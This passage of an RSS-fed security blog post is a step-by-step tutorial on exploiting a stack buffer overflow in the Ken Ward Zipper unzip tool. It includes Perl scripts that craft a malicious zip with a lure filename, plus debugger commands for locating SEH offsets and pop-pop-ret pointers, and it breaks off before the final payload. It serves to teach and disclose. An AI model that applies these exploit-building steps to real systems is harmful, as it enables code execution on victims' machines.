<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Researches &#187; Exploits / BUG Decryption</title>
	<atom:link href="http://www.abysssec.com/blog/category/exploits-bug-decryption/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Fri, 14 May 2010 19:22:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Ken Ward Zipper Stack BOF 0day &#8211; a not so typical SEH exploit</title>
		<link>http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/</link>
		<comments>http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 12:31:56 +0000</pubDate>
		<dc:creator>corelanc0d3r</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[align]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[conditional]]></category>
		<category><![CDATA[corelan]]></category>
		<category><![CDATA[corelanc0d3r]]></category>
		<category><![CDATA[custom decoder]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[jump]]></category>
		<category><![CDATA[ken ward]]></category>
		<category><![CDATA[Peter Van Eeckhoutte]]></category>
		<category><![CDATA[pvefindaddr]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[zip]]></category>
		<category><![CDATA[zip4.exe]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=797</guid>
		<description><![CDATA[&#160; About 2 weeks ago, I published a somewhat detailed explanation about an exploit I wrote for a &#8211; what some people would call “lame” -&#160; bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : Part 1 and Part 2.&#160; Ok, I [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;
<p>About 2 weeks ago, I published a <em>somewhat detailed</em> explanation about an exploit I wrote for a &#8211; what some people would call “lame” -&nbsp; bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : <a href="http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/">Part 1</a> and <a href="http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-a-box-of-chocolates-part-2/">Part 2</a>.&nbsp; </p>
<p>Ok, I agree, there are a lot more impressive bugs than this one, but the process of writing a working exploit was interesting to say the least.&nbsp; I had to deal with all kinds of hurdles, but by blending a little bit of creativity and persistence, I managed to pull it off.</p>
<p>Interestingly enough, I found a similar &#8220;lame&#8221; bug in another unzipper. The author decided to ignore my emails, so today I will disclose the details and explain how to write the exploit for this vulnerability.&nbsp; </p>
<p>If you&#8217;ve read the articles I wrote on the Offensive Security Blog, then you will discover that this particular exploit is quite similar to the one for quickzip… but this time we will even have to push things a little bit further.</p>
<p>I have received quite some feedback about the writing style I applied to those 2 articles. Apparently people like the combination of a detailed explanation, with the concept of making the document look like a some kind of exercise at the same time.&nbsp;&nbsp; </p>
<p>Based on that feedback, I decided to apply the same concept on this post. This translates into the fact that I have put a marker on some &#8220;strategic&#8221; places in this article, indicating that you should stop reading and that you should think about the current issue/situation/&#8230; and try to figure out for yourself how you would approach a given problem.</p>
<p>This marker will look like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p>Fasten your seatbelts, let’s go.</p>
<p>&nbsp;</p>
<h3>Environment setup &amp; triggering the bug</h3>
<p>I used the following environment and tools to build the exploit :</p>
<ul>
<li>XP SP3 English Professional, fully patched, running inside VirtualBox
<li>The vulnerable application : <a href="http://www.trans4mind.com/personal_development/zipper/">Ken Ward Zipper</a>
<li><a href="http://www.activestate.com/activeperl/downloads/">Perl</a>&nbsp; (I used ActiveState Perl 5.8.9)
<li><a href="http://www.immunityinc.com/products-immdbg.shtml">Immunity Debugger 1.73</a>, with <a href="http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/">pvefindaddr</a> plugin
<li>Metasploit 3 with custom MessageBox payload module (get a copy <a href="http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/">here</a> &#8211; almost at bottom of that post)
<li><a href="http://skypher.com/wiki/index.php?title=Www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php">alpha2 encoder</a>&nbsp; </li>
</ul>
<p>Note : In case you already have pvefindaddr installed : you can verify that you have the latest version by running</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr update</pre>
<p>&nbsp;</p>
<p>Pretty much identicaly to the bug in quickzip, the bug in Ken Ward&#8217;s zipper gets triggered by opening a specially crafted zip file from within the unzip utility, and double-clicking on the file inside the zip (in an attempt to extract and open it).</p>
<p>To make things more attractive, I will try to craft the exploit in such a way, to make the filename inside the zip file appear as if it&#8217;s a valid and perhaps <em>interesting</em> text file.</p>
<p>The basic structure of the malicious zip file looks like this :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"><span style="color: #008000"># Exploit script for Ken Ward's zipper</span>
<span style="color: #008000"># Written by Peter Van Eeckhoutte</span>
<span style="color: #008000"># http://www.corelan.be:8800</span>
<span style="color: #008000">#---------------------------------------------------</span>
my $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
my $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

my $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

my $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

my $payload = "<span style="color: #8b0000">A</span>" x 4064;
$payload = $payload."<span style="color: #8b0000">.txt</span>";
my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #00008b">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #00008b">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #00008b">print</span> FILE $evilzip;
close(FILE);
<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Wrote </span>".length($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . length($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>This script will create a zip file that will crash our application. </p>
<p>Usually, when an application crashes, one of the first things any exploit developer is looking for is to find out whether registers were overwritten, if EIP or SEH records are overwritten, and at what offsets these overwrites occurred.&nbsp;&nbsp; </p>
<p>In order to make that process easier, we won&#8217;t run the script as it is, but we will create a cyclic &#8220;Metasploit&#8221; pattern first (4064 characters) and put that in $payload.&nbsp; You will understand why in just a few moments.</p>
<p>Open Immunity Debugger. In the command bar at the bottom of the debugger, type in the following command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr pattern_create 4064</pre>
<p>This will generate a cyclic/unique pattern, write it to the Immunity Debugger log window, and also to a file called &#8220;mspattern.txt&#8221;, which can be found in the Immunity Debugger application folder.&nbsp; Open this file, copy the pattern, and paste in into the script (effectively replacing&nbsp; (&#8220;A&#8221; x 4064) with the unique pattern).&nbsp; </p>
<p>Create the zip file :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">C:\sploits\kenward&gt;perl boom.pl
[+] Preparing payload
[+] Removing old zip file
[+] Writing payload to file
[+] Wrote 8234 bytes to file corelan_kenward.zip
[+] Payload length : 4068

C:\sploits\kenward&gt;</pre>
<blockquote>
<p><em>Note : Ken Ward zipper will remember the last zip file that have opened.&nbsp; If this file still exists, it will open it automatically.&nbsp; So if you want to be sure to start from a clean situation, remove all zip files prior to opening zip4.exe, and then generate the zip file again.</em></p>
</blockquote>
<p>Open Ken Ward zipper.&nbsp; When you see the main application screen, open Immunity Debugger and attach it to zip4.exe</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb6_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb6_thumb[1]" border="0" alt="image_thumb6_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb6_thumb13_thumb.png" width="414" height="217"></a> </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image1.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb1.png" width="412" height="191"></a> </p>
<p>The application will be paused at ntdll.DbgBreakPoint. Simply press F9 to continue to run the application.&nbsp; Go back to the application. Use the &#8220;Open an existing file to unzip&#8221; button and select the corelan_kenward.zip file</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image2.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb2.png" width="535" height="297"></a> </p>
<p>When the file is loaded in the application, you should see something like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image3.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb3.png" width="532" height="289"></a> </p>
<p>The filename column clearly points to the first characters of a cyclic pattern.</p>
<p>Trigger the bug : double-click on the Filename.&nbsp; </p>
<p>Immunity will now take focus again, because it catched an exception.</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"> Address=00408EB1
 Message=[11:27:20] Access violation when writing to [00140000]</pre>
<p>That&#8217;s clearly a stack overflow. We attempted to write a dword ptr (at [ESI]) beyond the end of the current stack frame [EDI], which points at 0x0013FFFE before the write instruction is executed. This caused an access violation.</p>
<p>&nbsp;</p>
<h3>Evaluating the crash</h3>
<p>Making the application crash was not that difficult. </p>
<p>We decided to use a long cyclic pattern string to produce the crash, which means that we can save some time and (with Immunity still attached to the crashed application) use the pvefindaddr plugin to do some research about the crash. (This is why I asked you to use a unique pattern instead of just A&#8217;s &#8211; remember ?)</p>
<p>In Immunity, simply run the following command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr suggest</pre>
<p>This will evaluate registers and SEH chain, and will look for references to a cyclic pattern.&nbsp; If the plugin found references in a register, it will calculate offsets.&nbsp;&nbsp; Wait a few seconds until the output is generated and look at the Immunity Debugger Log window for the results : </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image4.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb4.png" width="561" height="392"></a> </p>
<p>The 2 most important things we see are</p>
<ul>
<li>a SEH record is overwritten
<li>the offset to next SEH is 1022 bytes (offset might be slightly different on your machine !) </li>
</ul>
<p>That means that it should be fairly easy to get code execution, as long as we can bypass any protection mechanisms in place (safeseh, etc)</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>Confirm offsets</h3>
<p>Let&#8217;s change the script to confirm that the offsets are correct. At the same time, we will also change the payload a bit, making the filename look like an interesting file at the same time. After all, we control the filename inside the zip file, so perhaps we can do something with it.</p>
<p>Let&#8217;s have a look at this script :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $junk = "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">BBBB</span>";
<span style="color: #0000ff">my</span> $seh="<span style="color: #8b0000">CCCC</span>";
<span style="color: #0000ff">my</span> $payload = $filename.$junk.$nseh.$seh;
<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload));

$payload=$payload.$rest."<span style="color: #8b0000">.txt</span>";</font></strong>

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>As said before, I will try to make the filename inside the zip file look like something attractive (hence &#8220;Admin accounts and passwords.txt&#8221;) , and I will some spaces after this filename (to make it look more genuine).&nbsp; I will fill up the rest of the buffer before nSEH (up to 1022 bytes) with A&#8217;s.&nbsp; </p>
<p>At nseh we will put 42424242 and at SEH we will write 43434343.&nbsp; The remaining space of the 4064 bytes will be filled with D&#8217;s. (44444444).</p>
<p>Create the zip file. Open zip4.exe, and attach Immunity to the application.&nbsp; Then open the zip file :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb121_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb12[1]_thumb[1]" border="0" alt="image_thumb12[1]_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb121_thumb13_thumb.png" width="460" height="207"></a> </p>
<p>We clearly see our fake filename.&nbsp; Double click the &#8220;Admin accounts and passwords.txt&#8221; filename. Immunity should catch the exception and the SEH chain should look like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb15_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb15_thumb[1]" border="0" alt="image_thumb15_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb15_thumb13_thumb.png" width="463" height="102"></a> </p>
<p>On the stack, we can see our payload, we can see that it has overwritten a SE record, and we also see that the D&#8217;s are available on the stack after the SE record.&nbsp; </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb16_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb16_thumb[1]" border="0" alt="image_thumb16_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb16_thumb13_thumb.png" width="466" height="315"></a> </p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>SEH : pop pop ret, jump, exec =&gt; owned ?</h3>
<p>In normal SEH based exploits, the goal is to find a pointer to an address that would allow us to jump to the 4 bytes at next SEH and execute those bytes.&nbsp; The most common technique to do this, is using a pointer to pop pop ret.</p>
<p>When pop pop ret returns, in most cases the 4 bytes at nseh are used to jump to payload (either before or after the SEH record) in order to get code execution at that location.&nbsp;&nbsp;&nbsp; So in normal cases, it takes only a few minutes to pull this together and build a working exploit.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>Is this logic correct ? Will that lead to code execution ?&nbsp; And where will you get the pointer to p/p/r from ?</em></p>
<p>&nbsp;</p>
<h4>The p/p/r pointer</h4>
<p>Because of exception handling abuse protection mechanisms (Software DEP/Safeseh etc), we have to find an address that will allow us to execute a pop pop ret, effectively bypassing thesese protection mechanisms.&nbsp;&nbsp; The most common way to bypass safeseh, is by using a pointer to p/p/r from a non-safeseh compiled module (or the executable itself, if it&#8217;s not safeseh protected either).&nbsp;&nbsp; </p>
<p>If no usable address can be found, you can also try to use a p/p/r from one of the OS modules that are loaded together with the application.&nbsp; The disadvantage of this approach is that the exploit would probably only work the operating system/service pack that was used to build the code on.</p>
<p>Anyways, let&#8217;s try to make it universal/generic.</p>
<p>The pvefindaddr plugin provides for an easy way to list all p/p/r pointers, by querying all modules that are loaded when the application crashed, and that are not safeseh protected.</p>
<p>Simply run this command, with Immunity attached to the application, at crash time :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr p</pre>
<p>Now leave the debugger alone and let it do the search. This can take up to a few minutes (after all, it will search for all possible pop pop ret combinations, in all loaded modules !), and it might take all CPU&#8230; so just leave it alone for a while.&nbsp;&nbsp; All output will be written to the Immunity Log window, and to a file called ppr.txt (generated inside the Immunity Debugger application folder)</p>
<p>When the search process has finished, Immunity Debugger will become responsive again and display the number of found addresses at the end of the Log (and in the status bar)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb181_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb181_thumb[1]" border="0" alt="image_thumb181_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb181_thumb13_thumb.png" width="594" height="171"></a></p>
<p>2397 addresses, plenty of choice.</p>
<p>The non-OS, non-safeseh protected modules are :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb20_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb20_thumb[1]" border="0" alt="image_thumb20_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb20_thumb13_thumb.png" width="595" height="151"></a> </p>
<p>=&gt; only zip4.exe&nbsp; (the other ones are from the Windows OS, and those may be different across other versions of the Windows OS/Service Pack). So let&#8217;s focus on the executable itself.&nbsp; As you can see in the output above, the executable is loaded into memory at base address 0&#215;00400000. This address starts with a null byte, so we have to take that into consideration.</p>
<p>Open the ppr.txt file, take the first available pointer from zip4.exe, and replace the 4 C&#8217;s at SE Handler with this address.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image5.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb5.png" width="598" height="148"></a> </p>
<p>(so basically, replace&nbsp; <em>my $seh=&#8221;CCCC&#8221;;</em>&nbsp; with <em>my $seh = pack(&#8216;V&#8217;,0x00402AFB);</em>&nbsp;&nbsp; create a new zip file and trigger the crash again)</p>
<p>When Immunity catches the exception, the SEH chain looks like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb241_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb241_thumb[1]" border="0" alt="image_thumb241_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb241_thumb13_thumb.png" width="606" height="177"></a> </p>
<p>We see 2 things :</p>
<ul>
<li>The address 0x00402AFB got replaced with 0x00402A76
<li>The access violation occurs in a different instruction. This is caused because of the null byte in the p/p/r address (which acts as a string terminator). This is fine, but the fact that the address changed means that we have to deal with a character set limitation.&nbsp; </li>
</ul>
<p>So this one will take a little bit longer than just a few minutes.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>How would you approach this character set limitation ?&nbsp;&nbsp; What are the consequences of this limitation ?&nbsp; Is there only an impact on the p/p/r pointer ?&nbsp; Or also on other parts of the payload ?</em></p>
<p>&nbsp;</p>
<h3>Character set limitation</h3>
<p>This is not new.&nbsp; When I discussed the exploit building process for the quickzip vulnerability (on the Offensive Security Blog), I noticed the same thing&#8230;&nbsp; </p>
<p>The result of that is that we can only use payload/addresses consisting of bytes that would be valid characters in a filename.&nbsp; (So if we limit our search to bytes that are either numbers or characters (lowercase/uppercase) from the alphabet, we should be fine.&nbsp; Further more, we&#8217;ll probably need to deal with this limitation for the entire payload, so we&#8217;ll have to keep this in mind.</p>
<p>Open ppr.txt again.&nbsp; In the output, you can see if an address would be compatible with this kind of limitation&#8230; The pvefindaddr plugin puts a marker next to addresses, indicating if the address is ascii printable and optionally if it only contains numbers/alphabet characters).</p>
<p>Addresses that contain ascii printable bytes only, will have a marker &#8220;[ Ascii printable ]&#8220;.&nbsp; If the address only contains nums&amp;alphabet, it will also state &#8220;[Num&amp;Alphabet Chars only !]&#8220;.&nbsp;&nbsp; That means that we can easily search for matching addresses using the following DOS command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">C:\Program Files\Immunity Inc\Immunity Debugger&gt;type ppr.txt | findstr "<span style="color: #8b0000">Ascii</span>" | findstr "<span style="color: #8b0000">Num</span>"

C:\Program Files\Immunity Inc\Immunity Debugger&gt;</pre>
<p>0 results.&nbsp;&nbsp; But we are being too strict really.&nbsp; The [ Ascii printable ] marker will not show any addresses that start with a null byte.&nbsp; (You can, of course, change the pvefindaddr plugin).&nbsp; On top of that, some non-alphabet characters will also work fine (spaces, etc).&nbsp; </p>
<p>So perhaps we should just manually look at the ascii-printable addresses in the text file, and then locate one that will do the job.&nbsp; (<a href="http://www.asciitable.com">www.asciitable.com</a>)</p>
<p>Let&#8217;s try 0x00415A68</p>
<ul>
<li>0&#215;41 = &#8220;A&#8221;
<li>0x5A = &#8220;Z&#8221;
<li>0&#215;68 = &#8220;h&#8221; </li>
</ul>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb26_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb26_thumb[1]" border="0" alt="image_thumb26_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb26_thumb13_thumb.png" width="615" height="74"></a> </p>
<p>Put this address at $seh and try again</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb28_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb28_thumb[1]" border="0" alt="image_thumb28_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb28_thumb13_thumb.png" width="620" height="168"></a> </p>
<p>That looks a lot better.&nbsp; Set a breakpoint on this address (bp 00415A68) and press Shift F9 to pass the exception to the application.&nbsp; The event handler should kick in and jump to 0x00415A68</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb31_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb31_thumb[1]" border="0" alt="image_thumb31_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb31_thumb13_thumb.png" width="518" height="367"></a> </p>
<p>Use F7 to step through the instructions (basically execute one instruction at a time), until after the RETN instruction is executed. The RET should make you land back at the 4 bytes at nseh (BBBB) :</p>
